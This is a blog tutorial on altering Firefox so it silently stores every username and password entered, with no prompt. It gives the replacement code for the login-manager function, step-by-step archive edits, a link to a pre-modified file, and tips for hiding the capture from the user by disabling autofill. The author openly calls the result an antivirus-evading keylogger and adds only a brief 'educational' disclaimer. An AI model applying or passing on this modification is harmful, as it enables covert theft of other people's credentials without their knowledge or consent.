Hacking Firefox to Always Auto Save Password Without Showing Notification

While I was screening through new posts in the forum to see if there are any spam and also any computer topics that I can help with, I saw an interesting question being asked. Is there any way to make Firefox auto save passwords without clicking the Remember button?. In Firefox, even if you have the option “Remember passwords for sites” checked in Tools > Options > Security, the browser will still ask the question “Would you like to remember the password for “Username” on website.com?” with three selections which are “Remember Password”, “Never Remember Password for This Site” and “Not Now”. The earlier version of Firefox 3 displays a notification bar at the top of the web browser, while from version 4 until the current version 21 displays a popup notification at the top left.

Disable Firefox Remember Never for This Site Not Now button

Modifying Firefox to auto save the login information to the Firefox Saved Passwords manager without prompting was easy for version 3 because you can directly edit the JS files from the program’s folder to apply the changes. However, the file structure was a bit different starting from Firefox 4 up to and including the current versions. We researched and found that it is still possible to force Firefox to auto save the password without the popup notification. This can turn Firefox into a keylogger and no antivirus will even detect this as a threat. Steps to Hack Firefox 3 to Auto Save Password

For Firefox 3, all you need to do is edit the nsLoginManagerPrompter.js file with a text editor preferably Notepad++ located in C:\Program Files\Mozilla Firefox \components\ folder. Search for the _showSaveLoginNotification function and replace the whole code that is highlighted in yellow…

nsLoginManagerPrompter

With the following code:

var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);

The end result would look like the image below.

Firefox auto save password without notification bar

Save the changes that you’ve made on the nsLoginManagerPrompter.js file and whenever you login to any website, Firefox will auto save the site, username and password to the login manager WITHOUT showing the notification bar. You can access the saved password area by going to Tools > Options > Security and click the Saved Passwords button. There is one possible bug which is even when a user entered the wrong username or password, it will still be saved.

Download Firefox 3.6.28 | Download Modified nsLoginManagerPrompter.js

As for Firefox 4, it gets slightly difficult because the nsLoginManagerPrompter.js file is archived in an omni.jar file located at C:\Program Files\Mozilla Firefox\ folder. I’ve previously written a guide on how to edit files inside omni.jar file which would allow you to modify Firefox 4 to auto save password without prompting.

Continue reading at Page 2 for steps to hack the latest versions of Firefox.

Starting from Firefox 5, you may have noticed that editing the nsLoginManagerPrompter.js inside omni.jar file does not work. The Firefox developing team did not fix the bug nor improve the security but instead they optimized it further by making Firefox load a compiled binary version of the nsLoginManagerPrompter.js file instead of the raw and editable JS file. Here is what you need to do to enable auto password saving on Firefox 5 and above. Do take note that the omni.jar file has been renamed to omni.ja starting from Firefox 10.

1. Use WinRAR, PowerArchiver or WinZIP to open the omni.jar or omni.ja file from C:\Program Files\Mozilla Firefox\ folder.

2. Navigate to jsloader\resource\gre\components\ and delete the nsLoginManagerPrompter.js file.

Delete nsLoginManagerPrompter.js

3. Go back to the root of omni.jar or omni.jar, and navigate to components folder. Edit the nsLoginManagerPrompter.js file and replace the whole _showSaveLoginNotification function as shown earlier. Save the changes and go back to the archiver. Click the Yes button when the archiver prompts you to update the archive with the updated file.

If you are having difficulty in following all the steps above, we provide an already modified version of omni.ja file for Windows version of Firefox 21 which can be downloaded by clicking here or click here for Mac OS X. Simply download and save it to C:\Program Files\Mozilla Firefox\ folder in Windows. In Mac OS X, click Go at the Finder toolbar, select Applications, right click on Firefox and select Show Package Contents. Open Contents folder and copy the omni.ja to the MacOS folder. Remember to backup the original omni.ja file in case you want to restore back the changes.

Additional Notes:

1. A potential Firefox default behavior that may cause the user to realize that their username and password has been saved is when they log out and find that their credentials automatically filled in to the textboxes. An easy way to prevent this from happening is by typing about:config in the address box, click on the “I’ll be careful, I promise” button, type signon.autofillForms in the Search box and either double click on it to change the value from true to false or you can right click on it and select Toggle.

signon.autofillforms

2. Whenever Firefox gets a minor or major update, most likely the omni.ja file will be reverted to the original. You’ll need to either re-edit the nsLoginManagerPrompter.js file again or visit this page to download the latest version of the modified omni.ja.

3. This article and research is for educational purposes only. Use it with care and think twice before implementing this illegally as it can get you into a lot of trouble!

68 Comments - Write a Comment

  1. izzy fujiwara 3 months ago
  2. sakti 11 months ago
  3. J 2 years ago
  4. ros 3 years ago
    • Rosebud 3 years ago
  5. test 3 years ago
  6. Spanonymous 3 years ago
  7. Barry 4 years ago
  8. sajeev soni 4 years ago
    • Bill 3 years ago
      • patronus 3 years ago
  9. Taylor 4 years ago
  10. Ziauddin Ahmed 5 years ago
  11. Chand 5 years ago
  12. Ankit ajs 5 years ago
  13. max12 5 years ago
  14. Marius 5 years ago
  15. Lynix 5 years ago
  16. Rachad 5 years ago
  17. Yogesh 5 years ago
  18. stevy 5 years ago
  19. Meikv 6 years ago
  20. Anonymous 6 years ago
  21. charls 6 years ago
  22. Ram Agarwal 7 years ago
  23. Jasmeet Singh 7 years ago
  24. Lue 7 years ago
  25. abc 7 years ago
  26. m4Cc4 7 years ago
  27. M 7 years ago
  28. seekers 7 years ago
  29. dmonteri 7 years ago
  30. Abraham 7 years ago
  31. Tammi 7 years ago
  32. Marianno 7 years ago
  33. joel 7 years ago
  34. ryseque 7 years ago
  35. Hammad 7 years ago
  36. Haris 7 years ago
  37. Eub 7 years ago
  38. aar 8 years ago
  39. fhgy 8 years ago
  40. pankaj 8 years ago
  41. Ekendra 8 years ago
  42. kupo510 8 years ago
  43. shi 8 years ago
  44. Brian 8 years ago
  45. King John 8 years ago
  46. Mary 8 years ago
  47. rod 8 years ago
  48. reggie 8 years ago
  49. 1337 H4ckØR 8 years ago
  50. gabriel 8 years ago
  51. buntugeek 8 years ago
  52. Dick White 8 years ago
  53. lting77 8 years ago
  54. sameer 8 years ago
  55. farazdaq 8 years ago
  56. bullygram 8 years ago
  57. Ahmad 8 years ago
  58. Bnsofts.com 8 years ago
  59. Venkatesh 8 years ago
  60. Ali Jiwani 8 years ago
  61. Danny 8 years ago
  62. ding-dong 8 years ago
  63. Gaurav 8 years ago
  64. Boni 8 years ago
  65. shaheen 8 years ago

Leave a Reply

Your email address will not be published. Required fields are marked *

Note: Your comment is subject to approval. Read our Terms of Use. If you are seeking additional information on this article, please ask in our forum or contact us directly.